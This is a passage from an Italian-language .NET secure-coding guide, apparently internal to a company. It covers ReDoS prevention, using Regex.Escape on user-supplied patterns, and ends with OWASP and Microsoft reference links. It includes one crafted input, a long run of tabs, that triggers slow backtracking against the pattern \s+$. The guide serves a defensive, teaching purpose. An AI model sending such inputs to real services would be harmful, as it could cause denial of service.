In questo caso, l'input new string('\t', 54773)) + "\x00\t" corrisponde al pattern dell'espressione regolare \s+$, causando però un rallentamento significativo del motore di espressioni regolari, dovuto al fatto che il match viene eseguito con complessità polinomiale partendo dalla fine della stringa.

La maggior parte dei motori di espressioni regolari utilizza il backtracking per provare tutti i possibili percorsi di esecuzione dell'espressione regolare durante la valutazione di un input, ma in alcuni casi può causare problemi di prestazioni, chiamati situazioni di backtracking catastrofico. Nel caso peggiore, la complessità dell'espressione regolare è esponenziale rispetto alla dimensione dell'input, il che significa che un piccolo input accuratamente creato (come 20 caratteri) può innescare un backtracking catastrofico e causare un denial of service dell'applicazione.

Per prevenire gli attacchi ReDoS, è importante seguire delle buone pratiche nella definizione dei pattern delle espressioni regolari. Ad esempio, si dovrebbe evitare l'uso di gruppi con ripetizione all'interno dei quali ci sono altre ripetizioni o alternanze con sovrapposizioni.

Inoltre, è possibile utilizzare strumenti di analisi statica del codice per rilevare automaticamente le vulnerabilità ReDoS nel codice. Tuttavia, la correzione di queste vulnerabilità è ancora un processo manuale e può richiedere di modificare uno o più caratteri nell'espressione regolare.

Quando si utilizzano input provenienti da utenti nella definizione della espressione regolare, .NET mette a disposizione il metodo *Escape* che effettua l'escape dei metacaratteri e delle sequenze di escape che possono alterare la logica inizialmente intesa:

```
// regex è costruita a partire da un input utente
Regex.IsMatch(input, Regex.Escape(regex));
```

12 Link utili

- **Role-Based Acces Control**
  - Broken Access Control - Microsoft Learn
  - Role Based Security - Microsoft Learn
- **Secure Resource Access**
  - Secure Coding Guidelines - Secure Resource Access - Microsoft Learn
- **Cross-Site Request Forgery (CSRF/XSRF)**
  - Anti Request Forgery - Microsoft Learn
- **Open Redirect**
  - Preventing Open Redirects - Microsoft Learn
- **Validazione e Sanitizzazione degli input**
  - Security and User Input - Microsoft Learn
- **File Input Validation**
  - File Upload - Security Considerations - Microsoft Learn
- **Attacchi di Deserializzazione**
  - Deserialization - OWASP Cheat Sheet Series
- **Cross-Site Scripting (XSS)**
  - Cross-Site Scripting - Microsoft Learn
- **SQL Injection**
  - SQL Injection - OWASP Cheat Sheet Series
- **XML Injection**
  - System.Security.Escape - Microsoft Learn
  - XML Processing Options - Microsoft Learn
  - XML Security Cheat Sheet - OWASP Cheat Sheet Series

- **Mass Assignment**
  - Mass Assignment - OWASP Cheat Sheet Series

- **Logging**
  - Logging - Microsoft Learn

Logging Cheat Sheet - OWASP Cheatsheet Series

- **Credenziali Hardcoded**
  - Secrets Management – OWASP Cheat Sheet Series
  - Password Storage – OWASP Cheat Sheet Series
- **Oggetti per la gestione delle credenziali**
  - SecureString - Microsoft Learn
- **Crittografia in .NET**
  - Cryptography Model - Microsoft Learn
  - Cryptographic Failures - Microsoft Learn
- **JSON Web Token in .NET**
  - System.IdentityModels.Tokens.Jwt.JwtSecurityToken - Microsoft Learn
  - System.IdentityModels.Tokens.SymmetricSecurityKey- Microsoft Learn
- **Race Conditions**
  - Security and Race Conditions - Microsoft Learn
- **Denial of Service (DoS)**
  - Denial of Service | OWASP Cheat Sheet Series
- **Pattern Disposable in .NET**
  - Implementing Dispose | Microsoft Learn
- **Saturazione delle risorse**
  - Unreleased Resource | OWASP Foundation
- **Regex DoS (ReDoS)**
  - Regular expression Denial of Service - ReDoS | OWASP Foundation
- **Misconfigurations**
  - A05 Security Misconfiguration - OWASP Top 10:2021
- **Configurazione errata dei cookie**
  - Secure Cookie Attribute | OWASP Foundation
  - WSTG - Latest | OWASP Foundation

Italgas S.p.A - Informazioni Interne